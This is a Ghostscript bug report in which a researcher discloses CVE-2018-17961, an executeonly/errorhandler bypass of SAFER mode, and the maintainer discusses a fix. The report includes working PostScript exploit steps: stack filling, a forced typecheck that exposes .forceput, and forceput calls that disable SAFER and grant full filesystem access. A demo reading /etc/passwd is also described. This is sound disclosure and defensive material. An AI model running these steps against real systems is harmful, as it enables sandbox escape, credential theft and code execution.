Bug 699816 - executeonly bypass with errorhandler setup
Summary: executeonly bypass with errorhandler setup
Alias: None
Product: Ghostscript
Classification: Unclassified
Component: Security (public) (show other bugs)
Version: unspecified
Hardware: PC Linux
: P4 critical
Assignee: Chris Liddell (chrisl)
QA Contact: gs-security
Depends on:
Reported: 2018-09-28 01:30 UTC by Tavis Ormandy
Modified: 2019-05-08 13:44 UTC (History)
1 user (show)

See Also:
Word Size: ---

execute only bypass (894 bytes, application/postscript)
2018-09-28 01:30 UTC, Tavis Ormandy

Note You need to log in before you can comment on or make changes to this bug.
Description Tavis Ormandy 2018-09-28 01:30:48 UTC
Created attachment 15688 [details]
execute only bypass

I recently realised the reason upstream have started ignoring errordict in SAFER mode: you could cause errors in executeonly procedures, and then hidden operators would be exposed to you in the error handler.

Now that I understand the problem, I realized that the fix is incomplete. You can no longer get access to operators inside executeonly functions, but you *can* make the invocation of the errorhandler itself fail by filling up the stack with junk and making it /stackoverflow.

I think the only way to exploit it is to find an executeonly procedure that can stop in two different ways, you trigger the first exception and then you make calling the errorhandler stop (/stackoverflow or /execoverflow will do).

When *that* fails the operand stack is left in an inconsistent state, because ghostscript was trying to set up the errorhandler but failed. 

This is exploitable. Here is how:

% first, fill up the stack with junk so there is only a tiny bit of room for the errorhandler
GS>0 1 300368 {} for

% We can make /switch_to_normal_marking_ops fail by making pdfopdict a non-dictionary
GS<300369>/pdfopdict null def

% call /switch_to_normal_marking_ops (which is executeonly)
GS<300369>GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped

% that failed because of /typecheck writing to pdfopdict

% And if we look at the last few elements of the saved stack...
GS<1>dup dup length 10 sub 10 getinterval ==
[300364 300365 300366 300367 300368 null /m {normal_m} --.forceput-- /typecheck]

% Oops! The failed operator is on there ready to be passed to the errorhandler.
% Now we can do whatever we like, lets disable SAFER and give ourselves access
% to the whole filesystem (including .bashrc, ssh keys, chrome cookies, everything)
systemdict /SAFER false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput

Putting it all together, here is reading /etc/passwd just to demo:

$ ./gs -dSAFER -f test.ps 
GPL Ghostscript GIT PRERELEASE 9.26 (2018-09-13)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.

This is a complete remote code execution vulnerability that can be triggered just by visiting a webpage.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
Comment 1 Chris Liddell (chrisl) 2018-09-28 02:46:43 UTC
I believe the only way to solve this is to make everywhere that calls .forcedef and co into an operator procedure (rather than a regular executable array), the error then gets reported against the operator procedure, rather than the individual operation inside the procedure. In the case, the error is reported happening in "--switch_to_normal_marking_ops--" rather than in "--.forceput--".

Anything else, as far as I can tell, would deviate from the PLRM, and leave us with a non-compliant interpreter.
Comment 2 Tavis Ormandy 2018-10-03 17:38:01 UTC
This is CVE-2018-17961.
Comment 3 Tavis Ormandy 2018-10-08 17:54:57 UTC
Hello, is there any update on the status of this bug?
Comment 4 Chris Liddell (chrisl) 2018-10-09 09:39:56 UTC
There are two commits relevant to this: one specifically fixes this problem:


And the other resolves potential related issues: